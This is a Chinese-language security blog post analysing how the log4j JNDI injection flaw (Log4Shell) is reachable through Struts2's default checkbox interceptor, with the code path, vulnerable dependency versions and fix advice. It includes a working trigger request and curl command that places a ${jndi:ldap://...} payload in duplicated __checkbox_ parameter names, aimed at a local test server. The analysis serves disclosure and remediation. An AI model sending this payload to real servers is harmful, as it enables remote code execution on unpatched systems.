1、前言综述
log4j漏洞影响面太广,最为一个经常使用strusts2开发的我来说,第一反应就是strusts2也默认使用了该库,所以进行了分析,发现确实能够触发,一点拙见分享出来,希望能够帮助加快行业尽快修复该漏洞,减小其影响。
2、搭建 Struts2 示例
搭建一个struts2示例可参考官方文档,
官方也给了一个helloworld的例子,可直接使用。这里就不再叙述,只贴一下我的pom.xml介绍下使用的版本:
<dependencies>
<!--struts 2-->
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>2.5.26</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
</dependencies>
其中,struts2 是 2.5.26, log4j 是 2.14.1
3、Struts 2 拦截器
拦截器是struts2是其用于对请求进行预处理的机制,可用户自定义,同时也默认内置一部分,内置拦截器加载在用户自定义拦截器之前,内置拦截器可在struts2-core-2.5.26.jar 中的 struts-default.xml中查看:
<interceptor-stack name="defaultStack">
<interceptor-ref name="exception"/>
<interceptor-ref name="alias"/>
<interceptor-ref name="servletConfig"/>
<interceptor-ref name="i18n"/>
<interceptor-ref name="prepare"/>
<interceptor-ref name="chain"/>
<interceptor-ref name="scopedModelDriven"/>
<interceptor-ref name="modelDriven"/>
<interceptor-ref name="fileUpload"/>
<interceptor-ref name="checkbox"/>
<interceptor-ref name="datetime"/>
<interceptor-ref name="multiselect"/>
<interceptor-ref name="staticParams"/>
<interceptor-ref name="actionMappingParams"/>
<interceptor-ref name="params"/>
<interceptor-ref name="conversionError"/>
<interceptor-ref name="validation">
<param name="excludeMethods">input,back,cancel,browse</param>
</interceptor-ref>
<interceptor-ref name="workflow">
<param name="excludeMethods">input,back,cancel,browse</param>
</interceptor-ref>
<interceptor-ref name="debugging"/>
</interceptor-stack>
这些拦截器均是struts2自带,加载也在用户自定义拦截器之前,也就是说,只要使用了struts2,默认情况下,均会加载这些拦截器。对这些拦截器初步审计后发现,基本上在其逻辑中都会使用log4j进行日志记录,并且,有多个拦截器的日志记录参数可控,这就是说,struts2已经受log4j漏洞影响了,下一节将选取其中的一个触发点checkbox拦截器进行漏洞触发分析。
4、漏洞触发点 – checkbox 拦截器
checkbox 拦截器在struts-default.xml中定义如下:
<interceptor name="checkbox" class="org.apache.struts2.interceptor.CheckboxInterceptor" />
对应的处理类是 org.apache.struts2.interceptor.CheckboxInterceptor
, 其核心代码如下:
public String intercept(ActionInvocation ai) throws Exception {
HttpParameters parameters = ai.getInvocationContext().getParameters(); // 1、获取http请求的所有参数
Map<String, Parameter> extraParams = new HashMap();
Set<String> checkboxParameters = new HashSet();
Iterator i$ = parameters.entrySet().iterator();
while(i$.hasNext()) { // 遍历所有http请求参数
Entry<String, Parameter> parameter = (Entry)i$.next();
String name = (String)parameter.getKey();
if (name.startsWith("__checkbox_")) { // 如果请求参数是以__checkbox_开头,则进入此分支
String checkboxName = name.substring("__checkbox_".length());
Parameter value = (Parameter)parameter.getValue();
checkboxParameters.add(name);
// 如果该参数不止一个,则进入该分支,进行日志记录,从而触发 log4j jndi 注入漏洞
// name 为请求名
if (value.isMultiple()) {
LOG.debug("Bypassing automatic checkbox detection due to multiple checkboxes of the same name: {}", name);
} else if (!parameters.contains(checkboxName)) {
extraParams.put(checkboxName, new Request(checkboxName, this.uncheckedValue));
}
}
}
parameters.remove(checkboxParameters);
ai.getInvocationContext().getParameters().appendAll(extraParams);
return ai.invoke();
}
关于此拦截器的意义,可以参考该文章进行理解,这里主要分析一下触发原理,进入该拦截器后,struts2会将http请求的所有参数取出来,进行遍历,如果参数名字以 __checkbox_
开头,则会进入checkbox判定分支,在该分支中,如果一个checkbox被重复定义,就直接进行日志记录,而在默认配置下,该日志记录使用log4j进行记录,从而触发漏洞:
if (value.isMultiple()) {
LOG.debug("Bypassing automatic checkbox detection due to multiple checkboxes of the same name: {}", name);
}
5、触发Log4j JNDI 注入漏洞
根据上一节描述,当请求参数名以 __checkbox_
开始并且重复定义时,会进入log4j记录分支,故构造请求如下:
http://127.0.0.1:8080/Struts2WebAppDemo/index.action?__checkbox_${jndi:ldap://127.0.0.1:1099/exp}=a&__checkbox_${jndi:ldap://127.0.0.1:1099/exp}=b
使用 curl
发送请求:
curl 'http://127.0.0.1:8080/Struts2WebAppDemo/index.action?__checkbox_$\{jndi:ldap://127.0.0.1:1099/exp\}=a&__checkbox_$\{jndi:ldap://127.0.0.1:1099/exp\}=b'
在该分支处下断点,成功命中:
最后成功执行到lookup,进行jndi查询:
至此,成功触发漏洞。关于该log4j漏洞的具体原理及后续触发步骤,可参考大佬分析文章,如https://www.anquanke.com/post/id/262668
实际上在struts2中还有不少触发点,本文只是选取其中一个进行粗浅分析,分析不透彻之处,欢迎大佬批评指正交流。
6、如何修复
更新至最新版本log4j,或者禁用lookup均可
7、参考文档
1、https://struts.apache.org/getting-started/how-to-create-a-struts2-web-application.html#to-run-the-application-using-maven-add-the-jetty-maven-plugin-to-your-pomxml
2、https://www.anquanke.com/post/id/262668](https://www.anquanke.com/post/id/262668
3、https://blog.csdn.net/xtayfjpk/article/details/14108047
4、https://github.com/apache/struts-examples
发表评论
您还未登录,请先登录。
登录